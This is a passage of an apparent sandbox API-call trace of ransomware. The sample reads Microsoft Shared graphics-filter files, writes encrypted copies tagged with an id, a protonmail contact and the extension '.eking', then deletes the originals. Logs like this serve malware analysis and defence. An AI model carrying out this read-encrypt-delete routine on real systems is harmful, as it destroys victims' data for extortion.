shared\\grphflt\\ms.cgm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0267.492] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x774, lpOverlapped=0x0) returned 1 [0267.495] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x780, lpOverlapped=0x0) returned 1 [0267.496] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0267.496] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.496] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.496] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x774, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x774, lpOverlapped=0x0) returned 1 [0267.497] FlushFileBuffers (hFile=0xcc) returned 1 [0267.504] FlushFileBuffers (hFile=0xc0) returned 1 [0267.505] CloseHandle (hObject=0xcc) returned 1 [0267.506] CloseHandle (hObject=0xc0) returned 1 [0267.506] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0267.508] SetEvent (hEvent=0xe0) returned 1 [0267.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.508] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=15067) returned 1 [0267.508] CloseHandle (hObject=0xc0) returned 1 [0267.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0267.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0267.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.509] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.509] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0267.510] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x3adb, lpOverlapped=0x0) returned 1 [0267.512] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3ae0, lpOverlapped=0x0) returned 1 [0267.514] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0267.514] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.514] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.514] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3adb, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x3adb, lpOverlapped=0x0) returned 1 [0267.514] FlushFileBuffers (hFile=0xc0) returned 1 [0267.524] FlushFileBuffers (hFile=0xcc) returned 1 [0267.526] CloseHandle (hObject=0xc0) returned 1 [0267.527] CloseHandle (hObject=0xcc) returned 1 [0267.527] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0267.529] SetEvent (hEvent=0xe0) returned 1 [0267.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.530] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1069) returned 1 [0267.530] CloseHandle (hObject=0xcc) returned 1 [0267.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0267.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0267.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.531] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.531] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0267.531] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x42d, lpOverlapped=0x0) returned 1 [0267.537] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x430, lpOverlapped=0x0) returned 1 [0267.538] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0267.539] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.539] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.539] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x42d, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x42d, lpOverlapped=0x0) returned 1 [0267.539] FlushFileBuffers (hFile=0xcc) returned 1 [0267.543] FlushFileBuffers (hFile=0xc0) returned 1 [0267.545] CloseHandle (hObject=0xcc) returned 1 [0267.546] CloseHandle (hObject=0xc0) returned 1 [0267.546] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0267.547] SetEvent (hEvent=0xe0) returned 1 [0267.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.548] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1061) returned 1 [0267.548] CloseHandle (hObject=0xc0) returned 1 [0267.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0267.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0267.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.548] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.548] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0267.549] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x425, lpOverlapped=0x0) returned 1 [0267.551] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x430, lpOverlapped=0x0) returned 1 [0267.552] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0267.552] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.552] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.552] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x425, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x425, lpOverlapped=0x0) returned 1 [0267.553] FlushFileBuffers (hFile=0xc0) returned 1 [0267.557] FlushFileBuffers (hFile=0xcc) returned 1 [0267.559] CloseHandle (hObject=0xc0) returned 1 [0267.560] CloseHandle (hObject=0xcc) returned 1 [0267.560] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0267.562] SetEvent (hEvent=0xe0) returned 1 [0267.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.562] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1682) returned 1 [0267.562] CloseHandle (hObject=0xcc) returned 1 [0267.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0267.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0267.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.563] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.563] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0267.564] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x692, lpOverlapped=0x0) returned 1 [0267.567] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x6a0, lpOverlapped=0x0) returned 1 [0267.568] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0267.568] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.568] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.568] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x692, lpOverlapped=0x0) returned 1 [0267.569] FlushFileBuffers (hFile=0xcc) returned 1 [0267.573] FlushFileBuffers (hFile=0xc0) returned 1 [0267.575] CloseHandle (hObject=0xcc) returned 1 [0267.575] CloseHandle (hObject=0xc0) returned 1 [0267.575] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0267.577] SetEvent (hEvent=0xe0) returned 1 [0267.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.577] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1382) returned 1 [0267.577] CloseHandle (hObject=0xc0) returned 1 [0267.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0267.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0267.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0267.578] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.578] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xcc [0267.578] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x566, lpOverlapped=0x0) returned 1 [0267.580] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x570, lpOverlapped=0x0) returned 1 [0267.581] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0267.581] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.581] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0267.581] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x566, lpOverlapped=0x0) returned 1 [0267.582] FlushFileBuffers (hFile=0xc0) returned 1 [0267.584] FlushFileBuffers (hFile=0xcc) returned 1 [0267.586] CloseHandle (hObject=0xc0) returned 1 [0267.586] CloseHandle (hObject=0xcc) returned 1 [0267.587] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0267.588] SetEvent (hEvent=0xe0) returned 1 [0267.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.588] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=73080) returned 1 [0267.588] CloseHandle (hObject=0xcc) returned 1 [0267.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0267.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0267.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0267.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0267.589] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.589] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0267.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0267.590] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x11d78, lpOverlapped=0x0) returned 1 [0267.600] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x11d80, lpOverlapped=0x0) returned 1 [0267.602] WriteFile (in: 